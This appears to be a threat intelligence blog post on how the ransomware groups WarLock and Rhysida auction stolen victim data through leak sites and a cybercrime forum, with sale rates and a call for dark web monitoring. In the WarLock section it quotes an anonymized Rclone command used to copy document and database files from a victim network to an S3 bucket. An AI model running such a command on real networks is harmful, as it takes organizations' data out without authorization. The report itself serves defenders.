Ransomware has evolved from simple digital extortion into a structured, profit-driven criminal enterprise. Over time, it has led to the development of a complex ecosystem where stolen data is not only leveraged for ransom, but also sold to the highest bidder. This trend first gained traction in 2020 when the Pinchy Spider group, better known as REvil, pioneered the practice of hosting data auctions on the dark web, opening a new chapter in the commercialization of cybercrime.

In 2025, contemporary groups such as WarLock and Rhysida have embraced similar tactics, further normalizing data auctions as part of their extortion strategies. By opening additional profit streams and attracting more participants, these actors are amplifying both the frequency and impact of ransomware operations. The rise of data auctions reflects a maturing underground economy, one that mirrors legitimate market behavior, yet drives the continued expansion and professionalization of global ransomware activity.

Anatomy of victim data auctions 

Most modern ransomware groups employ double extortion tactics, exfiltrating data from a victim’s network before deploying encryption. Afterward, they publicly claim responsibility for the attack and threaten to release the stolen data unless their ransom demand is met. This dual-pressure technique significantly increases the likelihood of payment.

In recent years, data-only extortion campaigns, in which actors forgo encryption altogether, have risen sharply. In fact, such incidents doubled in 2025, highlighting how the threat of data exposure alone has become an effective extortion lever. Most ransomware operations, however, continue to use encryption as part of their attack chain.

Certain ransomware groups have advanced this strategy by introducing data auctions when ransom negotiations with victims fail. In these cases, threat actors invite potential buyers, such as competitors or other interested parties, to bid on the stolen data, often claiming it will be sold exclusively to a single purchaser. In some instances, groups have been observed selling partial datasets, likely adjusted to a buyer’s specific budget or area of interest, while any unsold data is typically published on dark web leak sites.

This process is illustrated in Figure 1, under the assumption that the threat actor adheres to their stated claims. However, in practice, there is no guarantee that the stolen data will remain undisclosed, even if the ransom is paid. This highlights the inherent unreliability of negotiating with cybercriminals.

ransomware-extortion-ecommerce-diagram
Figure 1 – Victim data auctioning process

This auction model provides an additional revenue stream, enabling ransomware groups to profit from exfiltrated data even when victims refuse to pay. It should be noted, however, that such auctions are often reserved for high-profile incidents. In these cases, the threat actors exploit the publicity surrounding attacks on prominent organizations to draw attention, attract potential buyers, and justify higher starting bids.

This trend is likely driven by the fragmentation of the ransomware ecosystem following the recent disruption of prominent threat actors, including 8Base and BlackSuit. This shift in cybercrime dynamics is compelling smaller, more agile groups to aggressively compete for visibility and profit through auctions and private sales to maintain financial viability. The emergence of the Crimson Collective in October 2025 exemplified this dynamic when the group auctioned stolen datasets to the highest bidder. Although short-lived, this incident served as a proof of concept (PoC) for the growing viability of monetizing data exfiltration independently of traditional ransom schemes.

Threat actor spotlight

WarLock

The WarLock ransomware group has been active since at least June 2025. The group targets organizations across North America, Europe, Asia, and Africa, spanning sectors from technology to critical infrastructure. Since its emergence, WarLock has rapidly gained prominence for its repeated exploitation of vulnerable Microsoft SharePoint servers, leveraging newly disclosed vulnerabilities to gain initial access to targeted systems.

The group adopts double extortion tactics, exfiltrating data from the victim’s systems before deploying its ransomware variant. From a recent incident Rapid7 responded to, we observed the threat actor exfiltrating the data from a victim to an S3 bucket using the tool Rclone. An anonymized version of the command used by the threat actor can be found below:

Rclone.exe copy \\localdirectory :s3 -P –include “*.{pdf,ai,dwg,dxf,dwt,doc,docx,dwg,dwt,dws,shx,pat,lin,ctb,dxf,dwf,step,stl,dst,dxb,,stp,ipt,prt,iges,obj,xlsx,mdf,sql,doc,xls,sql,bak,sqlite,db,sqlite3,sdf,ndf,ldf,csv,mdf,dbf,ibd,myd,ppt,pptx}” -q –ignore-existing –auto-confirm –multi-thread-streams 11 –transfers 11 –max-age 500d –max-size 2000m

WarLock operates a dedicated leak site (DLS) on the dark web, where it lists its victims. From the outset of its operations, the group has auctioned stolen data, publishing only the unsold information online (Figure 2). The group further mentions that the exfiltrated data may be sold to third parties if the victim refuses to pay in their ransom note (Figure 3).

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Figure 2 – Example of purchased data

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Figure 3 – WarLock ransom note

Although WarLock shares updates on the progress and results of these auctions through its DLS, it also relies heavily on its presence on the RAMP4 cybercrime forum to attract potential buyers (Figure 4). This approach likely allows WarLock to reach a wider buyer base by publishing these posts under the relevant thread “Auction \ 拍卖会”. It should be noted that WarLock is assessed to be of Chinese origin, which is further supported by the Chinese-language reference in this thread title.

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Figure 4 – Mention of an auction on WarLock’s DLS

Using the alias “cnkjasdfgd,” the group advertises details about the nature and volume of exfiltrated data, along with sample files (Figure 5). WarLock further directs interested buyers to its Tox account, a peer-to-peer encrypted messaging and video-calling platform, where the auctions appear to take place.

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Figure 5 – WarLock’s post on RAMP4

This approach appears to be highly effective for WarLock. Despite being a recent entrant to the ransomware ecosystem, the group has reportedly sold victim data in approximately 55% of its claimed attacks, accounting for 55 victims to date as of November 2025, demonstrating significant traction within underground markets. The remaining victims’ data has been publicly released on the group’s DLS, following unsuccessful ransom negotiations and a lack of interested buyers.

Rhysida

The Rhysida ransomware group was first identified by cybersecurity researchers in May 2023. The group primarily targets Windows operating systems across both public and private organizations in sectors such as government, defense, education, and manufacturing. Its operations have been observed in several countries, including the United Kingdom, Switzerland, Australia, and Chile. The threat actors portray themselves as a so-called “cybersecurity team” that assists organizations in securing their networks by exposing system vulnerabilities.

Rhysida maintains an active DLS, where it publishes data belonging to victims who refuse to pay the ransom, in alignment with double extortion tactics. Since at least June 2023, the group has also conducted data auctions via a dedicated “Auctions Online” section of its DLS. These auctions typically run for seven days, and Rhysida claims that each dataset is sold exclusively to a single buyer. As of mid-October 2025, the group was hosting five ongoing auctions, with starting prices ranging from 5 to 10 Bitcoin (Figure 6).

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Figure 6 – Example of an auction on Rhysida’s DLS

Once the auction period ends, Rhysida publicly releases any unsold data on its DLS (Figure 7). Instead, if the auction is successful, the data is marked as “sold”, without being released on the group’s DLS (Figure 8). In many cases, the group publishes only a subset of the stolen data, often accompanied by the note “not sold data was published” (Figure 9).

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Figure 7 – Example of full data release on Rhysida’s DLS

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Figure 8 – Example of sold data on Rhysida’s DLS

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Figure 9 – Example of partial data release on Rhysida’s DLS

With 224 claimed attacks to date as of November 2025, approximately 67% resulting in full or partial data sales, auctions represent a significant additional revenue stream for Rhysida. The group’s auction model appears to be considerably more effective than WarLock’s (Figure 10), likely due to Rhysida’s established reputation within the cybercrime ecosystem and its involvement in several high-profile attacks.

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Figure 10 – Overview of auction outcomes

Conclusion

The cyber extortion ecosystem is undergoing a profound transformation, shifting from traditional ransom payments to a diversified, market-driven model centered on data auctions and direct sales. This evolution marks a turning point in how ransomware groups generate revenue, transforming what were once isolated extortion incidents into structured commercial transactions.

Groups such as WarLock and Rhysida exemplify this shift, illustrating how ransomware operations increasingly mirror illicit e-commerce ecosystems. By auctioning exfiltrated data, these actors not only create additional revenue streams but also reduce their dependence on ransom compliance, monetizing stolen data even when victims refuse to pay. This approach has proven particularly lucrative for these threat actors, likely setting a precedent for newer extortion groups eager to replicate their success.

As a result, proprietary and sensitive data, including personally identifiable and financial information, is flooding dark web marketplaces at an unprecedented pace. This expanding secondary market intensifies both the operational and reputational risks faced by affected organizations, extending the impact of an attack well beyond its initial compromise.

To adapt to this evolving threat landscape, organizations must move beyond reactive crisis management and embrace a proactive, intelligence-driven defense strategy. Continuous dark web monitoring, early breach detection, and the integration of cyber threat intelligence into response workflows are now essential. In a world where stolen data functions as a tradable commodity, resilience depends not on negotiation but on vigilance, preparedness, and rapid action.